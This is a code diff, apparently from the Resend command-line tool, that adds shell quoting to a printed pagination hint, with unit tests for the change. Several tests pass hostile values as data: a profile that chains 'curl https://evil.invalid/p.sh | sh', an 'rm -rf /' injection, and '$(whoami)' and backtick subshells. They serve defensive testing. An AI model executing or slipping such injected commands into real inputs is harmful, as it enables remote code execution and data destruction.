diff --git a/src/lib/pagination.ts b/src/lib/pagination.ts index 243e24f5..e131f0ea 100644 --- a/src/lib/pagination.ts +++ b/src/lib/pagination.ts @@ -1,6 +1,7 @@ import type { GlobalOpts } from './client'; import { maskKey } from './config'; import { outputError } from './output'; +import { shQuote } from './sh-quote'; export function parseLimitOpt(raw: string, globalOpts: GlobalOpts): number { const limit = parseInt(raw, 10); @@ -55,10 +56,12 @@ export function printPaginationHint( : list.data[list.data.length - 1].id; const flag = backward ? '--before' : '--after'; const limitFlag = opts.limit ? ` --limit ${opts.limit}` : ''; - const apiKeyFlag = opts.apiKey ? ` --api-key ${maskKey(opts.apiKey)}` : ''; - const profileFlag = opts.profile ? ` --profile ${opts.profile}` : ''; + const apiKeyFlag = opts.apiKey + ? ` --api-key ${shQuote(maskKey(opts.apiKey))}` + : ''; + const profileFlag = opts.profile ? ` --profile ${shQuote(opts.profile)}` : ''; console.log( - `\nFetch the next page:\n$ resend ${command} ${flag} ${cursor}${limitFlag}${apiKeyFlag}${profileFlag}`, + `\nFetch the next page:\n$ resend ${command} ${flag} ${shQuote(cursor)}${limitFlag}${apiKeyFlag}${profileFlag}`, ); } diff --git a/src/lib/sh-quote.ts b/src/lib/sh-quote.ts new file mode 100644 index 00000000..7710cdc3 --- /dev/null +++ b/src/lib/sh-quote.ts @@ -0,0 +1,2 @@ +export const shQuote = (value: string): string => + `'${value.replace(/'/g, "'\\''")}'`; diff --git a/tests/lib/pagination.test.ts b/tests/lib/pagination.test.ts index 1a8bd215..b8704104 100644 --- a/tests/lib/pagination.test.ts +++ b/tests/lib/pagination.test.ts @@ -102,7 +102,7 @@ describe('printPaginationHint', () => { {}, ); expect(logSpy).toHaveBeenCalledWith( - '\nFetch the next page:\n$ resend emails list --after item_3', + "\nFetch the next page:\n$ resend emails list --after 'item_3'", ); }); @@ -116,7 +116,7 @@ describe('printPaginationHint', () => { { before: 'item_5' }, ); expect(logSpy).toHaveBeenCalledWith( - '\nFetch the next page:\n$ resend emails list --before item_1', + "\nFetch the next page:\n$ resend emails list --before 'item_1'", ); }); @@ -127,7 +127,7 @@ describe('printPaginationHint', () => { { limit: 25 }, ); expect(logSpy).toHaveBeenCalledWith( - '\nFetch the next page:\n$ resend emails list --after item_1 --limit 25', + "\nFetch the next page:\n$ resend emails list --after 'item_1' --limit 25", ); }); @@ -139,7 +139,7 @@ describe('printPaginationHint', () => { ); const output = logSpy.mock.calls[0][0] as string; expect(output).not.toContain('re_1234567890abcdef'); - expect(output).toContain('--api-key re_...cdef'); + expect(output).toContain("--api-key 're_...cdef'"); }); test('includes --profile flag when profile is set', () => { @@ -149,7 +149,7 @@ describe('printPaginationHint', () => { { profile: 'staging' }, ); expect(logSpy).toHaveBeenCalledWith( - '\nFetch the next page:\n$ resend emails list --after item_1 --profile staging', + "\nFetch the next page:\n$ resend emails list --after 'item_1' --profile 'staging'", ); }); @@ -168,7 +168,30 @@ describe('printPaginationHint', () => { }, ); expect(logSpy).toHaveBeenCalledWith( - '\nFetch the next page:\n$ resend contacts list --before item_1 --limit 10 --api-key re_...ijkl --profile prod', + "\nFetch the next page:\n$ resend contacts list --before 'item_1' --limit 10 --api-key 're_...ijkl' --profile 'prod'", ); }); + + test('escapes shell metacharacters in profile', () => { + printPaginationHint( + { has_more: true, data: [{ id: 'item_1' }] }, + 'domains list', + { profile: 'prod; curl https://evil.invalid/p.sh | sh #' }, + ); + const output = logSpy.mock.calls[0][0] as string; + expect(output).toContain( + "--profile 'prod; curl https://evil.invalid/p.sh | sh #'", + ); + expect(output).not.toContain('--profile prod;'); + }); + + test('escapes single quotes in profile', () => { + printPaginationHint( + { has_more: true, data: [{ id: 'item_1' }] }, + 'domains list', + { profile: "it's" }, + ); + const output = logSpy.mock.calls[0][0] as string; + expect(output).toContain("--profile 'it'\\''s'"); + }); }); diff --git a/tests/lib/sh-quote.test.ts b/tests/lib/sh-quote.test.ts new file mode 100644 index 00000000..1668b01f --- /dev/null +++ b/tests/lib/sh-quote.test.ts @@ -0,0 +1,32 @@ +import { describe, expect, it } from 'vitest'; +import { shQuote } from '../../src/lib/sh-quote'; + +describe('shQuote', () => { + it('wraps a plain string in single quotes', () => { + expect(shQuote('hello')).toBe("'hello'"); + }); + + it('escapes embedded single quotes', () => { + expect(shQuote("it's")).toBe("'it'\\''s'"); + }); + + it('neutralises semicolons and pipes', () => { + expect(shQuote('a; rm -rf /')).toBe("'a; rm -rf /'"); + }); + + it('neutralises subshell syntax', () => { + expect(shQuote('$(whoami)')).toBe("'$(whoami)'"); + }); + + it('handles empty string', () => { + expect(shQuote('')).toBe("''"); + }); + + it('handles backticks', () => { + expect(shQuote('`id`')).toBe("'`id`'"); + }); + + it('handles multiple single quotes', () => { + expect(shQuote("a'b'c")).toBe("'a'\\''b'\\''c'"); + }); +});